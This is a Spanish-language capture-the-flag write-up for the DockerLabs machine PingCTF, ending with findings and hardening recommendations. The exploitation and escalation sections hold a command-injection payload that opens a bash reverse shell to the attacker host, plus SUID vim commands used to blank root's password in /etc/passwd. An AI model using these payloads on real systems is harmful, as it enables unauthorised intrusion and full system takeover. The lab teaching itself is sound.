PingCTF
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina PingCTF, desarrollada por Borazuwarah para la plataforma DockerLabs y clasificada como fácil.
El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.
La metodología se divide en tres fases principales:
- Reconocimiento: Identificación de servicios expuestos y análisis del contenido web.
- Explotación: Obtención de acceso inicial mediante una inyección de comandos (RCE).
- Escalada de privilegios: Abuso de un binario SUID para obtener acceso a
root.
Todas las acciones se realizaron en el entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | PingCTF |
| Autor | Borazuwarah |
| Dificultad | Fácil |
| Fecha | 16/07/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina:
unzip "PingCTF.zip"sudo bash auto_deploy.sh "PingCTF.tar"El script arroja la IP asignada:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p PingCTF/{content,exploits,nmap,gobuster,scripts}cd PingCTF1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 22/tcp – SSH
- 80/tcp – HTTP

El único vector de ataque accesible es el servicio HTTP.
1.3 Enumeración Web
Sección titulada «1.3 Enumeración Web»gobuster dir \ -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,jsRuta relevante encontrada:
/index: contiene una herramienta web para realizar pings.

Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»La función de ping no parece operar correctamente, pero al probar con caracteres especiales es posible ejecutar comandos del sistema. La inyección utilizada fue:
;id
Confirmada la ejecución remota de comandos (RCE), se procede a obtener una reverse shell.
Listener en el host:
nc -nlvp 443Payload inyectado en la herramienta web:
;bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'Reverse shell establecida:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → root
Sección titulada «3.1 De www-data → root»Primero se revisan permisos sudo, sin resultados útiles:
sudo -lLuego se buscan binarios SUID:
find / -perm -4000 2>/dev/nullResultado:

El binario vim.basic es especialmente interesante, ya que permite abrir archivos con privilegios elevados.
Método 1: Escalada directa (fallido)
Sección titulada «Método 1: Escalada directa (fallido)»Se intentó cargar un shell privilegiado desde Vim:
/usr/bin/vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'Este método no funcionó.
Método 2: Modificación de /etc/passwd (funcional)
Sección titulada «Método 2: Modificación de /etc/passwd (funcional)»Se edita /etc/passwd y se elimina la x del usuario root:
/usr/bin/vim.basic /etc/passwdArchivo modificado:

Esto permite iniciar sesión como root sin contraseña:
su rootAcceso root obtenido:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»-
Inyección de comandos (RCE) en la herramienta web de ping La entrada no está filtrada ni validada, permitiendo ejecutar comandos arbitrarios.
-
Uso de un binario SUID inseguro (vim.basic) Vim no debe estar disponible como SUID debido a su capacidad para editar archivos sensibles.
-
Protección incorrecta de
/etc/passwdLa existencia de un binario SUID capaz de modificar/etc/passwdpermite eliminar la contraseña de root. -
Ausencia de mecanismos de monitoreo o restricción de shells inversas La máquina acepta conexiones entrantes sin restricciones a puertos críticos.
-
No existencia de separación adecuada entre procesos web y privilegios del sistema El usuario
www-datatiene acceso a binarios que deberían estar restringidos solo para usuarios privilegiados.
Recomendaciones
Sección titulada «Recomendaciones»-
Validar y sanitizar todas las entradas en aplicaciones web Cualquier entrada que se use en llamadas al sistema debe validarse o reemplazarse por herramientas seguras.
-
Eliminar Vim y otros editores del conjunto de binarios SUID Solo programas absolutamente necesarios deben poseer el bit SUID.
-
Proteger y auditar archivos críticos como
/etc/passwdy/etc/shadowLas modificaciones solo deben ser posibles mediante programas seguros y controlados. -
Implementar restricciones en el firewall y limitar puertos accesibles Evita la salida o entrada no autorizada para prevenir reverse shells.
-
Aplicar el principio de mínimo privilegio al usuario del servidor web Este usuario no debe tener acceso a herramientas administrativas ni rutas sensibles.
-
Monitorear la ejecución de comandos en el servidor web Cualquier comportamiento sospechoso debe generar alertas.